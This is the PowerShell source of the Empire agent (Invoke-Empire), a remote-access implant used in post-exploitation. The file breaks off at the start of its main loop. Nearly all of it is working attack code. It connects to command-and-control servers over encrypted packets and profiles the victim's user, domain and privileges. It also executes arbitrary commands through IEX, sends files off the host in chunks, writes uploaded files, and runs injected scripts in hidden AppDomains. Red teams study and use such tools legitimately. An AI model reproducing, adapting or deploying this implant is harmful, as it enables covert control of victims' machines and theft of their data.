
function Invoke-Empire {
    <#
        .SYNOPSIS
        The main functionality of the Empire agent.
        Additional functionality can be loaded dynamically.

        Author: @harmj0y
        License: BSD 3-Clause

        .PARAMETER StagingKey
        The server staging key.

        .PARAMETER SessionKey
        Client-specific AES session key to use for communications

        .PARAMETER SessionID
        A unique alphanumeric sessionID to use for identification

        .PARAMETER Servers
        Array of C2 servers to use

        .PARAMETER KillDate
        Kill date limit for agent operation

        .PARAMETER KillDays
        Number of days for the bot to operate until exit

        .PARAMETER WorkingHours
        Working hours for agent operation, format "8:00,17:00"

        .PARAMETER Profile
        http communication profile
        request_uris(comma separated)|UserAgents(comma separated)

        .PARAMETER LostLimit
        The limit of the number of checkins the agent will miss before exiting

        .PARAMETER DefaultResponse
        A base64 representation of the default response for the given transport.
    #>

    param(
        [Parameter(Mandatory=$true)]
        [String]
        $StagingKey,

        [Parameter(Mandatory=$true)]
        [String]
        $SessionKey,

        [Parameter(Mandatory=$true)]
        [String]
        $SessionID,

        [Int32]
        $AgentDelay = 60,

        [Double]
        $AgentJitter = 0,

        [String[]]
        $Servers,

        [String]
        $KillDate,

        [Int32]
        $KillDays,

        [String]
        $WorkingHours,

        [object]
        $ProxySettings,

        [String]
        $Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",

        [Int32]
        $LostLimit = 60,

        [String]
        $DefaultResponse = ""
    )

    ############################################################
    #
    # Configuration data
    #
    ############################################################

    $Encoding = [System.Text.Encoding]::ASCII
    $HMAC = New-Object System.Security.Cryptography.HMACSHA256

    $script:AgentDelay = $AgentDelay
    $script:AgentJitter = $AgentJitter
    $script:LostLimit = $LostLimit
    $script:MissedCheckins = 0
    $script:ResultIDs = @{}
    $script:WorkingHours = $WorkingHours
    $script:DefaultResponse = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultResponse))
    $script:Proxy = $ProxySettings
    $script:CurrentListenerName = ""

    # the currently active server
    $Script:ServerIndex = 0
    $Script:ControlServers = $Servers

    # the number of times to retry server connections, i.e. the 'lost limit
    $Retries = 1

    # set a kill date of $KillDays out if specified
    if($KillDays) {
        $script:KillDate = (Get-Date).AddDays($KillDays).ToString('MM/dd/yyyy')
    }

    if($KillDate -ne "REPLACE_KILLDATE" -and $KillDate -ne $null) {
        $script:KillDate = $KillDate
    }

    # get all the headers/etc. in line for our comms
    #   Profile format:
    #       uris(comma separated)|UserAgent|header1=val|header2=val2...
    #       headers are optional. format is "key:value"
    #       ex- cookies are "cookie:blah=123;meh=456"
    $ProfileParts = $Profile.split('|')
    $script:TaskURIs = $ProfileParts[0].split(',')
    $script:UserAgent = $ProfileParts[1]
    $script:SessionID = $SessionID
    $script:Headers = @{}
    # add any additional request headers if there are any specified in the profile
    if($ProfileParts[2]) {
        $ProfileParts[2..$ProfileParts.length] | ForEach-Object {
            $Parts = $_.Split(':')
            $script:Headers.Add($Parts[0],$Parts[1])
        }
    }

    # keep track of all background jobs
    #   format: {'RandomJobName' : @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}, ... }
    $Script:Jobs = @{}
    $Script:Downloads = @{}
    # the currently imported script held in memory
    $script:ImportedScript = ''

    ############################################################
    #
    # Command Helpers
    #
    ############################################################

    function ConvertTo-Rc4ByteStream {
        # RC4 encryption/decryption
        #   used in New-RoutingPacket/Decode-RoutingPacket
        Param ($In, $RCK)
        begin {
            [Byte[]] $S = 0..255;
            $J = 0;
            0..255 | ForEach-Object {
                $J = ($J + $S[$_] + $RCK[$_ % $RCK.Length]) % 256;
                $S[$_], $S[$J] = $S[$J], $S[$_];
            };
            $I = $J = 0;
        }
        process {
            ForEach($Byte in $In) {
                $I = ($I + 1) % 256;
                $J = ($J + $S[$I]) % 256;
                $S[$I], $S[$J] = $S[$J], $S[$I];
                $Byte -bxor $S[($S[$I] + $S[$J]) % 256];
            }
        }
    }

    function Get-HexString {
        param([byte]$Data)
        ($Data | ForEach-Object { "{0:X2}" -f $_ }) -join ' '
    }

    function Set-Delay {
        param([int]$d, [double]$j=0.0)
        $script:AgentDelay = $d
        $script:AgentJitter = $j
        "agent interval set to $script:AgentDelay seconds with a jitter of $script:AgentJitter"
    }

    function Get-Delay {
        "agent interval delay interval: $script:AgentDelay seconds with a jitter of $script:AgentJitter"
    }

    function Set-LostLimit {
        param([int]$l)
        $script:LostLimit = $l
        if($l -eq 0)
        {
            "agent set to never die based on checkin Limit"
        }
        else
        {
            "agent LostLimit set to $script:LostLimit"
        }
    }

    function Get-LostLimit {
        "agent LostLimit: $script:LostLimit"
    }

    function Set-Killdate {
        param([string]$date)
        $script:KillDate = $date
        "agent killdate set to $script:KillDate"
    }

    function Get-Killdate {
        "agent killdate: $script:KillDate"
    }

    function Set-WorkingHours {
        param([string]$hours)
        $script:WorkingHours = $hours
        "agent working hours set to $($script:WorkingHours)"
    }

    function Get-WorkingHours {
        "agent working hours: $($script:WorkingHours)"
    }

    function Get-Sysinfo {
        $str = '0|' # no nonce for normal execution
        $str += $Script:ControlServers[$Script:ServerIndex]
        $str += '|' + [Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName;
        $p = (Get-WmiObject Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress);
        $ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6];
        #if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'};
        $str+="|$ip"

        $str += '|' +(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0];
        # if we're SYSTEM, we're high integrity
        if(([Environment]::UserName).ToLower() -eq 'system') {
            $str += '|True'
        }
        else{
            # otherwise check the token groups
            $str += '|'+ ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')
        }
        $n = [System.Diagnostics.Process]::GetCurrentProcess();
        $str += '|'+$n.ProcessName+'|'+$n.Id;
        $str += "|powershell|" + $PSVersionTable.PSVersion.Major;
        $str
    }

    # # TODO: add additional callback servers ?
    # function Add-Servers {
    #     param([string[]]$BackupServers)
    #     foreach ($backup in $BackupServers) {
    #         $Script:ControlServers = $Script:ControlServers + $backup
    #     }
    # }

    # handle shell commands and return any results
    function Invoke-ShellCommand {
        param($cmd, $cmdargs="")

        # UNC path normalization for PowerShell
        if ($cmdargs -like "*`"\\*") {
            $cmdargs = $cmdargs -replace "`"\\","FileSystem::`"\"
        }
        elseif ($cmdargs -like "*\\*") {
            $cmdargs = $cmdargs -replace "\\\\","FileSystem::\\"
        }

        $output = ''
        if ($cmd.ToLower() -eq 'shell') {
            # if we have a straight 'shell' command, skip the aliases
            if ($cmdargs.length -eq '') { $output = 'no shell command supplied' }
            else { $output = IEX "$cmdargs" }
            $output += "`n`r..Command execution completed."
        }
        else {
            switch -regex ($cmd) {
                '(ls|dir)' {
                    if ($cmdargs.length -eq "") {
                        $output = Get-ChildItem -force | select lastwritetime,length,name
                    }
                    else {
                        try{
                            $output = IEX "$cmd $cmdargs -Force -ErrorAction Stop | select lastwritetime,length,name"
                        }
                        catch [System.Management.Automation.ActionPreferenceStopException] {
                            $output = "[!] Error: $_ (or cannot be accessed)."
                        }
                    }
                }
                '(mv|move|copy|cp|rm|del|rmdir)' {
                    if ($cmdargs.length -ne "") {
                        try {
                            IEX "$cmd $cmdargs -Force -ErrorAction Stop"
                            $output = "executed $cmd $cmdargs"
                        }
                        catch {
                            $output=$_.Exception;
                        }
                    }
                }
                cd {
                    if ($cmdargs.length -ne '')
                    {
                        $cmdargs = $cmdargs.trim("`"").trim("'")
                        cd "$cmdargs"
                        $output = pwd
                    }
                }
                '(ipconfig|ifconfig)' {
                    $output = Get-WmiObject -class 'Win32_NetworkAdapterConfiguration' | ? {$_.IPEnabled -Match 'True'} | ForEach-Object {
                        $out = New-Object psobject
                        $out | Add-Member Noteproperty 'Description' $_.Description
                        $out | Add-Member Noteproperty 'MACAddress' $_.MACAddress
                        $out | Add-Member Noteproperty 'DHCPEnabled' $_.DHCPEnabled
                        $out | Add-Member Noteproperty 'IPAddress' $($_.IPAddress -join ",")
                        $out | Add-Member Noteproperty 'IPSubnet' $($_.IPSubnet -join ",")
                        $out | Add-Member Noteproperty 'DefaultIPGateway' $($_.DefaultIPGateway -join ",")
                        $out | Add-Member Noteproperty 'DNSServer' $($_.DNSServerSearchOrder -join ",")
                        $out | Add-Member Noteproperty 'DNSHostName' $_.DNSHostName
                        $out | Add-Member Noteproperty 'DNSSuffix' $($_.DNSDomainSuffixSearchOrder -join ",")
                        $out
                    } | fl | Out-String | ForEach-Object {$_ + "`n"}
                }
                # this is stupid how complicated it is to get this information...
                '(ps|tasklist)' {
                    $owners = @{}
                    Get-WmiObject win32_process | ForEach-Object {$o = $_.getowner(); if(-not $($o.User)) {$o='N/A'} else {$o="$($o.Domain)\$($o.User)"}; $owners[$_.handle] = $o}
                    if($cmdargs -ne '') { $p = $cmdargs }
                    else{ $p = "*" }
                    $output = Get-Process $p | ForEach-Object {
                        $arch = 'x64'
                        if ([System.IntPtr]::Size -eq 4) {
                            $arch = 'x86'
                        }
                        else{
                            foreach($module in $_.modules) {
                                if([System.IO.Path]::GetFileName($module.FileName).ToLower() -eq "wow64.dll") {
                                    $arch = 'x86'
                                    break
                                }
                            }
                        }
                        $out = New-Object psobject
                        $out | Add-Member Noteproperty 'ProcessName' $_.ProcessName
                        $out | Add-Member Noteproperty 'PID' $_.ID
                        $out | Add-Member Noteproperty 'Arch' $arch
                        $out | Add-Member Noteproperty 'UserName' $owners[$_.id.tostring()]
                        $mem = "{0:N2} MB" -f $($_.WS/1MB)
                        $out | Add-Member Noteproperty 'MemUsage' $mem
                        $out
                    } | Sort-Object -Property PID
                }
                getpid { $output = [System.Diagnostics.Process]::GetCurrentProcess() }
                route {
                    if (($cmdargs.length -eq '') -or ($cmdargs.lower() -eq 'print')) {
                        # build a table of adapter interfaces indexes -> IP address for the adapater
                        $adapters = @{}
                        Get-WmiObject Win32_NetworkAdapterConfiguration | ForEach-Object { $adapters[[int]($_.InterfaceIndex)] = $_.IPAddress }
                        $output = Get-WmiObject win32_IP4RouteTable | ForEach-Object {
                            $out = New-Object psobject
                            $out | Add-Member Noteproperty 'Destination' $_.Destination
                            $out | Add-Member Noteproperty 'Netmask' $_.Mask
                            if ($_.NextHop -eq "0.0.0.0") {
                                $out | Add-Member Noteproperty 'NextHop' 'On-link'
                            }
                            else{
                                $out | Add-Member Noteproperty 'NextHop' $_.NextHop
                            }
                            if($adapters[$_.InterfaceIndex] -and ($adapters[$_.InterfaceIndex] -ne "")) {
                                $out | Add-Member Noteproperty 'Interface' $($adapters[$_.InterfaceIndex] -join ",")
                            }
                            else {
                                $out | Add-Member Noteproperty 'Interface' '127.0.0.1'
                            }
                            $out | Add-Member Noteproperty 'Metric' $_.Metric1
                            $out
                        } | ft -autosize | Out-String
                        
                    }
                    else { $output = route $cmdargs }
                }
                '(whoami|getuid)' { $output = [Security.Principal.WindowsIdentity]::GetCurrent().Name }
                hostname {
                    $output = [System.Net.Dns]::GetHostByName(($env:computerName))
                }
                '(reboot|restart)' { Restart-Computer -force }
                shutdown { Stop-Computer -force }
                default {
                    if ($cmdargs.length -eq '') { $output = IEX $cmd }
                    else { $output = IEX "$cmd $cmdargs" }
                }
            }
        }
        "`n"+($output | Format-Table -wrap | Out-String)
    }

    # takes a string representing a PowerShell script to run, build a new
    #   AppDomain and PowerShell runspace, and kick off the execution in the
    #   new runspace/AppDomain asynchronously, storing the results in $Script:Jobs.
    function Start-AgentJob {
        param($ScriptString)

        $RandName = -join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 6)

        # create our new AppDomain
        $AppDomain = [AppDomain]::CreateDomain($RandName)

        # load the PowerShell dependency assemblies in the new runspace and instantiate a PS runspace
        $PSHost = $AppDomain.Load([PSObject].Assembly.FullName).GetType('System.Management.Automation.PowerShell')::Create()

        # add the target script into the new runspace/appdomain
        $null = $PSHost.AddScript($ScriptString)

        # stupid v2 compatibility...
        $Buffer = New-Object 'System.Management.Automation.PSDataCollection[PSObject]'
        $PSobjectCollectionType = [Type]'System.Management.Automation.PSDataCollection[PSObject]'
        $BeginInvoke = ($PSHost.GetType().GetMethods() | ? { $_.Name -eq 'BeginInvoke' -and $_.GetParameters().Count -eq 2 }).MakeGenericMethod(@([PSObject], [PSObject]))

        # kick off asynchronous execution
        $Job = $BeginInvoke.Invoke($PSHost, @(($Buffer -as $PSobjectCollectionType), ($Buffer -as $PSobjectCollectionType)))

        $Script:Jobs[$RandName] = @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}
        $RandName
    }

    # returns $True if the specified job is completed, $False otherwise
    function Get-AgentJobCompleted {
        param($JobName)
        if($Script:Jobs.ContainsKey($JobName)) {
            $Script:Jobs[$JobName]['Job'].IsCompleted
        }
    }

    # reads any data from the output buffer preserved for the specified job
    function Receive-AgentJob {
        param($JobName)
        if($Script:Jobs.ContainsKey($JobName)) {
            $Script:Jobs[$JobName]['Buffer'].ReadAll()
        }
    }

    # stops the specified agent job (wildcards accepted), returns any job results,
    #   tear down the appdomain, and remove the job from the internal cache
    function Stop-AgentJob {
        param($JobName)
        if($Script:Jobs.ContainsKey($JobName)) {
            # kill the PS host
            $Null = $Script:Jobs[$JobName]['PSHost'].Stop()
            # get results
            $Script:Jobs[$JobName]['Buffer'].ReadAll()
            # unload the app domain runner
            $Null = [AppDomain]::Unload($Script:Jobs[$JobName]['AppDomain'])
            $Script:Jobs.Remove($JobName)
        }
    }

    # update the http comms profile
    function Update-Profile {
        param($Profile)

        # format:
        #   uris(comma separated)|UserAgent|header1=val|header2=val2...
        #   headers are optional. format is "key:value"
        #   ex- cookies are "cookie:blah=123;meh=456"

        $ProfileParts = $Profile.split('|')
        $script:TaskURIs = $ProfileParts[0].split(',')
        $script:UserAgent = $ProfileParts[1]
        $script:SessionID = $SessionID
        $script:Headers = @{}

        # add any additional request headers if there are any specified in the profile
        if($ProfileParts[2]) {
            $ProfileParts[2..$ProfileParts.length] | ForEach-Object {
                $Parts = $_.Split(':')
                $script:Headers.Add($Parts[0],$Parts[1])
            }
        }

        "Agent updated with profile $Profile"
    }

    # get a binary part of a file based on $Index and $ChunkSize
    # and return a base64 encoding of that file part (by default)
    # used by download functionality for large file
    function Get-FilePart {
        Param(
            [string] $File,
            [int] $Index = 0,
            $ChunkSize = 512KB,
            [switch] $NoBase64
        )

        try {
            $f = Get-Item "$File"
            $FileLength = $f.length
            $FromFile = [io.file]::OpenRead($File)

            if ($FileLength -lt $ChunkSize) {
                if($Index -eq 0) {
                    $buff = new-object byte[] $FileLength
                    $count = $FromFile.Read($buff, 0, $buff.Length)
                    if($NoBase64) {
                        $buff
                    }
                    else{
                        [System.Convert]::ToBase64String($buff)
                    }
                }
                else{
                    $Null
                }
            }
            else{
                $buff = new-object byte[] $ChunkSize
                $Start = $Index * $($ChunkSize)

                $null = $FromFile.Seek($Start,0)

                $count = $FromFile.Read($buff, 0, $buff.Length)

                if ($count -gt 0) {
                    if($count -ne $ChunkSize) {
                        # if we're on the last file chunk

                        # create a new array of the appropriate length
                        $buff2 = new-object byte[] $count
                        # and copy the relevant data into it
                        [array]::copy($buff, $buff2, $count)

                        if($NoBase64) {
                            $buff2
                        }
                        else{
                            [System.Convert]::ToBase64String($buff2)
                        }
                    }
                    else{
                        if($NoBase64) {
                            $buff
                        }
                        else{
                            [System.Convert]::ToBase64String($buff)
                        }
                    }
                }
                else{
                    $Null;
                }
            }
        }
        catch{}
        finally {
            $FromFile.Close()
        }
    }

    ############################################################
    #
    # Core agent encryption/packet processing function
    #
    ############################################################

    function Encrypt-Bytes {
        param($bytes)
        # get a random IV
        $IV = [byte] 0..255 | Get-Random -count 16
        try {
            $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
        }
        catch {
            $AES=New-Object System.Security.Cryptography.RijndaelManaged;
        }
        $AES.Mode = "CBC";
        $AES.Key = $Encoding.GetBytes($SessionKey);
        $AES.IV = $IV;
        $ciphertext = $IV + ($AES.CreateEncryptor()).TransformFinalBlock($bytes, 0, $bytes.Length);
        # append the MAC
        $HMAC.Key = $Encoding.GetBytes($SessionKey);
        $ciphertext + $hmac.ComputeHash($ciphertext)[0..9];
    }

    function Decrypt-Bytes {
        param ($inBytes)
        if($inBytes.Length -gt 32) {
            # Verify the HMAC
            $mac = $inBytes[-10..-1];
            $inBytes = $inBytes[0..($inBytes.length - 11)];
            $hmac.Key = $Encoding.GetBytes($SessionKey);
            $expected = $hmac.ComputeHash($inBytes)[0..9];
            if (@(Compare-Object $mac $expected -sync 0).Length -ne 0) {
                return;
            }

            # extract the IV
            $IV = $inBytes[0..15];
            try {
                $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
            }
            catch {
                $AES=New-Object System.Security.Cryptography.RijndaelManaged;
            }
            $AES.Mode = "CBC";
            $AES.Key = $Encoding.GetBytes($SessionKey);
            $AES.IV = $IV;
            ($AES.CreateDecryptor()).TransformFinalBlock(($inBytes[16..$inBytes.length]), 0, $inBytes.Length-16)
        }
    }

    function New-RoutingPacket {
        param($EncData, $Meta)

        # build the RC4 routing packet
        #   Meta:
        #       TASKING_REQUEST = 4
        #       RESULT_POST = 5

        if($EncData) {
            $EncDataLen = $EncData.Length
        }
        else {
            $EncDataLen = 0
        }

        $SKB = $Encoding.GetBytes($StagingKey)
        $IV=[BitConverter]::GetBytes($(Get-Random));
        $Data = $Encoding.GetBytes($script:SessionID) + @(0x01,$Meta,0x00,0x00) + [BitConverter]::GetBytes($EncDataLen)
        $RoutingPacketData = ConvertTo-Rc4ByteStream -In $Data -RCK $($IV+$SKB)

        if($EncData) {
            ($IV + $RoutingPacketData + $EncData)
        }
        else {
            ($IV + $RoutingPacketData)
        }
    }

    function Decode-RoutingPacket {
        param($PacketData)

        <#
        Decode a first level server-response "routing packet"

            Routing packet structure:

                [4 bytes randomIV]
                RC4s(
                    [8 bytes for sessionID]
                    [1 byte for language]
                    [1 byte for meta info]
                    [2 bytes for extra info]
                    [4 bytes for packet length]
                )
        #>

        if ($PacketData.Length -ge 20) {

            $Offset = 0

            while($Offset -lt $PacketData.Length) {
                # extract out the routing packet fields
                $RoutingPacket = $PacketData[($Offset+0)..($Offset+19)]
                $RoutingIV = $RoutingPacket[0..3]
                $RoutingEncData = $RoutingPacket[4..19]
                $Offset += 20

                # get the staging key bytes
                $SKB = $Encoding.GetBytes($StagingKey)

                # decrypt the routing packet
                $RoutingData = ConvertTo-Rc4ByteStream -In $RoutingEncData -RCK $($RoutingIV+$SKB)
                $PacketSessionID = [System.Text.Encoding]::UTF8.GetString($RoutingData[0..7])
                # write-host "PacketSessionID: $PacketSessionID"
                # write-host "RoutingData len: $($RoutingData)"
                # write-host "$([System.BitConverter]::ToString($RoutingData[0..15]))"
                $Language = $RoutingData[8]
                $Meta = $RoutingData[9]
                # write-host "Meta: $Meta"
                $Extra = $RoutingData[10..11]
                $PacketLength = [BitConverter]::ToUInt32($RoutingData, 12)
                
                if ($PacketLength -lt 0) {
                    # Write-Host "Invalid PacketLength: $PacketLength"
                    break
                }

                if ($PacketSessionID -eq $script:SessionID) {
                    # if this tasking is for us
                    $EncData = $PacketData[$Offset..($Offset+$PacketLength-1)]
                    $Offset += $PacketLength
                    Process-TaskingPackets $EncData
                }
                else {
                    # TODO: forward taskings on to other clients?
                }
            }
        }
        else {
            # Write-Host "Invalid PacketData.Length: $($PacketData.Length)"
        }
    }

    function Encode-Packet {
        param([Int16]$type, $data, [Int16]$ResultID=0)
        <# 
            encode a packet for transport:
            +------+--------------------+----------+---------+--------+-----------+
            | Type | total # of packets | packet # | task ID | Length | task data |
            +------+--------------------+--------------------+--------+-----------+
            |  2   |         2          |    2     |    2    |   4    | <Length>  |
            +------+--------------------+----------+---------+--------+-----------+
        #>

        # in case we get a result array, make sure we join everything up
        if ($data -is [System.Array]) {
            $data = $data -join "`n"
        }

        # convert data to base64 so we can support all encodings and handle on server side
        $data = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($data))

        $packet = New-Object Byte[] (12 + $data.Length)

        # packet type
        ([BitConverter]::GetBytes($type)).CopyTo($packet, 0)
        # total number of packets
        ([BitConverter]::GetBytes([Int16]1)).CopyTo($packet, 2)
        # packet number
        ([BitConverter]::GetBytes([Int16]1)).CopyTo($packet, 4)
        # task/result ID
        ([BitConverter]::GetBytes($ResultID)).CopyTo($packet, 6)
        # length
        ([BitConverter]::GetBytes($data.Length)).CopyTo($packet, 8)
        ([System.Text.Encoding]::UTF8.GetBytes($data)).CopyTo($packet, 12)

        $packet
    }

    function Decode-Packet {
        param($packet, $offset=0)
        # we're decoding the raw decrypted bytes to [type][# of packets][packet #][task ID][length][value][remaining packet data]
        # the calling logic can keep looking through the data blob,
        #   decoding additional packets as needed
        $Type = [BitConverter]::ToUInt16($packet, 0+$offset)
        $TotalPackets = [BitConverter]::ToUInt16($packet, 2+$offset)
        $PacketNum = [BitConverter]::ToUInt16($packet, 4+$offset)
        $TaskID = [BitConverter]::ToUInt16($packet, 6+$offset)
        $Length = [BitConverter]::ToUInt32($packet, 8+$offset)
        $Data = [System.Text.Encoding]::UTF8.GetString($packet[(12+$offset)..(12+$Length+$offset-1)])
        $Remaining = [System.Text.Encoding]::UTF8.GetString($packet[(12+$Length+$offset)..($packet.Length)])

        Remove-Variable packet;

        @($Type, $TotalPackets, $PacketNum, $TaskID, $Length, $Data, $Remaining)
    }


    ############################################################
    #
    # C2 functions
    #
    ############################################################

    REPLACE_COMMS

    # process a single tasking packet extracted from a tasking and execute the functionality
    function Process-Tasking {
        param($type, $msg, $ResultID)

        try {
            # sysinfo request
            if($type -eq 1) {
                return Encode-Packet -type $type -data $(Get-Sysinfo) -ResultID $ResultID
            }
            # agent exit
            elseif($type -eq 2) {
                $msg = "[!] Agent "+$script:SessionID+" exiting"
                # this is the only time we send a message out of the normal process,
                #   because we're exited immediately after
                (& $SendMessage -Packets $(Encode-Packet -type $type -data $msg -ResultID $ResultID))
                exit
            }
            # shell command
            elseif($type -eq 40) {
                $parts = $data.Split(" ")
                # if the command has no arguments
                if($parts.Length -eq 1) {
                    $cmd = $parts[0]
                    Encode-Packet -type $type -data $((Invoke-ShellCommand -cmd $cmd) -join "`n").trim() -ResultID $ResultID
                }
                # if the command has arguments
                else{
                    $cmd = $parts[0]
                    $cmdargs = $parts[1..$parts.length] -join " "
                    Encode-Packet -type $type -data $((Invoke-ShellCommand -cmd $cmd -cmdargs $cmdargs) -join "`n").trim() -ResultID $ResultID
                }
            }
            # file download
            elseif($type -eq 41) {
                
                try {
                    $ChunkSize = 512KB

                    $Parts = $Data.Split(" ")

                    if($Parts.Length -gt 1) {
                        $Path = $Parts[0..($parts.length-2)] -join " "
                        try {
                            $ChunkSize = $Parts[-1]/1
                            if($Parts[-1] -notlike "*b*") {
                                # if MB/KB not specified, assume KB and adjust accordingly
                                $ChunkSize = $ChunkSize * 1024
                            }
                        }
                        catch {
                            # if there's an error converting the last token, assume no
                            #   chunk size is specified and add the last token onto the path
                            $Path += " $($Parts[-1])"
                        }
                    }
                    else {
                        $Path = $Data
                    }

                    $Path = $Path.Trim('"').Trim("'")

                    # hardcoded floor/ceiling limits
                    if($ChunkSize -lt 512KB) {
                        $ChunkSize = 512KB
                    }
                    elseif($ChunkSize -gt 8MB) {
                        $ChunkSize = 8MB
                    }
                    else {
                        $ChunkSize = 1024KB
                    }

                    # resolve the complete path
                    $Path = Get-Childitem $Path | ForEach-Object {$_.FullName}

                    # read in and send the specified chunk size back for as long as the file has more parts
                    $Index = 0
                    do{
                        $EncodedPart = Get-FilePart -File "$path" -Index $Index -ChunkSize $ChunkSize

                        if($EncodedPart) {
                            $data = "{0}|{1}|{2}" -f $Index, $path, $EncodedPart
                            Send-Message -Packets $(Encode-Packet -type $type -data $($data) -ResultID $ResultID)
                            $Index += 1

                            # if there are more parts of the file, sleep for the specified interval
                            if ($script:AgentDelay -ne 0) {
                                $min = [int]((1-$script:AgentJitter)*$script:AgentDelay)
                                $max = [int]((1+$script:AgentJitter)*$script:AgentDelay)

                                if ($min -eq $max) {
                                    $sleepTime = $min
                                }
                                else{
                                    $sleepTime = Get-Random -minimum $min -maximum $max;
                                }
                                Start-Sleep -s $sleepTime;
                            }
                        }
                        [GC]::Collect()
                    } while($EncodedPart)

                    Encode-Packet -type 40 -data "[*] File download of $path completed" -ResultID $ResultID
                }
                catch {
                    Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID
                }
            }
            # file upload
            elseif($type -eq 42) {
                $parts = $data.split('|')
                $filename = $parts[0]
                $base64part = $parts[1]
                # get the raw file contents and save it to the specified location
                $Content = [System.Convert]::FromBase64String($base64part)
                try{
                    Set-Content -Path $filename -Value $Content -Encoding Byte
                    Encode-Packet -type $type -data "[*] Upload of $fileName successful" -ResultID $ResultID
                }
                catch {
                    Encode-Packet -type 0 -data '[!] Error in writing file during upload' -ResultID $ResultID
                }
            }

            # return the currently running jobs
            elseif($type -eq 50) {
                $Downloads = $Script:Jobs.Keys -join "`n"
                Encode-Packet -data ("Running Jobs:`n$Downloads") -type $type -ResultID $ResultID
            }

            # stop and remove a specific job if it's running
            elseif($type -eq 51) {
                $JobName = $data
                $JobResultID = $ResultIDs[$JobName]

                try {
                    $Results = Stop-AgentJob -JobName $JobName | fl | Out-String
                    # send result data if there is any
                    if($Results -and $($Results.trim() -ne '')) {
                        Encode-Packet -type $type -data $($Results) -ResultID $JobResultID
                    }
                    Encode-Packet -type 51 -data "Job $JobName killed." -ResultID $JobResultID
                }
                catch {
                    Encode-Packet -type 0 -data "[!] Error in stopping job: $JobName" -ResultID $JobResultID
                }
            }

            # dynamic code execution, wait for output, don't save output
            elseif($type -eq 100) {
                $ResultData = IEX $data
                if($ResultData) {
                    Encode-Packet -type $type -data $ResultData -ResultID $ResultID
                }
            }
            # dynamic code execution, wait for output, save output
            elseif($type -eq 101) {
                # format- [15 chars of prefix][5 chars extension][data]
                $prefix = $data.Substring(0,15)
                $extension = $data.Substring(15,5)
                $data = $data.Substring(20)

                # send back the results
                Encode-Packet -type $type -data ($prefix + $extension + (IEX $data)) -ResultID $ResultID
            }
            # dynamic code execution, no wait, don't save output
            elseif($type -eq 110) {
                $jobID = Start-AgentJob $data
                $script:ResultIDs[$jobID]=$resultID
                Encode-Packet -type $type -data ("Job started: " + $jobID) -ResultID $ResultID
            }
            # dynamic code execution, no wait, save output
            elseif($type -eq 111) {
                # Write-Host "'dynamic code execution, no wait, save output' not implemented!"

                # format- [15 chars of prefix][5 chars extension][data]
                # $prefix = $data.Substring(0,15)
                # $extension = $data.Substring(15,5)
                # $data = $data.Substring(20)
                # $jobID = Start-AgentJob $data $prefix $extension
                # $script:resultIDs[$jobID] = $resultID
                # Encode-Packet -type 110 -data ("Job started: " + $jobID)
            }

            # import a dynamic script and save it in agent memory
            elseif($type -eq 120) {
                # encrypt the script for storage
                $script:ImportedScript = Encrypt-Bytes $Encoding.GetBytes($data);
                Encode-Packet -type $type -data "script successfully saved in memory" -ResultID $ResultID
            }

            # execute a function in the currently imported script
            elseif($type -eq 121) {
                # decrypt the script in memory and execute the code as a background job
                $script = Decrypt-Bytes $script:ImportedScript
                if ($script) {
                    $jobID = Start-AgentJob ([System.Text.Encoding]::UTF8.GetString($script) + "; $data")
                    $script:ResultIDs[$jobID]=$ResultID
                    Encode-Packet -type $type -data ("Job started: " + $jobID) -ResultID $ResultID
                }
            }

            elseif($type -eq 130) {
                #Dynamically update agent comms
                
                try {
                    IEX $data

                    Encode-Packet -type $type -data ($CurrentListenerName) -ResultID $ResultID
                }
                catch {
                    
                    Encode-Packet -type 0 -data ("Unable to update agent comm methods: $_") -ResultID $ResultID
                }
            }

            elseif($type -eq 131) {
                # Update the listener name variable
                $script:CurrentListenerName = $data

                Encode-Packet -type $type -data ("Updated the CurrentListenerName to: $CurrentListenerName") -ResultID $ResultID
            }

            else{
                Encode-Packet -type 0 -data "invalid type: $type" -ResultID $ResultID
            }
        }
        catch [System.Exception] {
            Encode-Packet -type $type -data "error running command: $_" -ResultID $ResultID
        }
    }

    # process tasking packets from the server
    function Process-TaskingPackets {
        param($Tasking)

        # Decrypt the tasking and process it appropriately
        $TaskingBytes = Decrypt-Bytes $Tasking
        if (-not $TaskingBytes) {
            return
        }

        # decode the first packet
        $Decoded = Decode-Packet $TaskingBytes
        $Type = $Decoded[0]
        $TotalPackets = $Decoded[1]
        $PacketNum = $Decoded[2]
        $TaskID = $Decoded[3]
        $Length = $Decoded[4]
        $Data = $Decoded[5]

        # TODO: logic to handle taskings that span multiple packets

        # any remaining sections of the packet
        $Remaining = $Decoded[6]

        # process the first part of the packet
        $ResultPackets = $(Process-Tasking $Type $Data $TaskID)

        $Offset = 12 + $Length
        # process any additional packets in the tasking
        while($Remaining.Length -ne 0) {
            $Decoded = Decode-Packet $TaskingBytes $Offset
            $Type = $Decoded[0]
            $TotalPackets = $Decoded[1]
            $PacketNum = $Decoded[2]
            $TaskID = $Decoded[3]
            $Length = $Decoded[4]
            $Data = $Decoded[5]
            if ($Decoded.Count -eq 7) {$Remaining = $Decoded[6]}
            # process the new sub-packet and add it to the result set
            $ResultPackets += $(Process-Tasking $Type $Data $TaskID)

            $Offset += $(12 + $Length)
        }

        # send all the result packets back to the C2 server
        (& $SendMessage -Packets $ResultPackets)
    }


    ############################################################
    #
    # Main agent loop
    #
    ############################################################

    while ($True) {

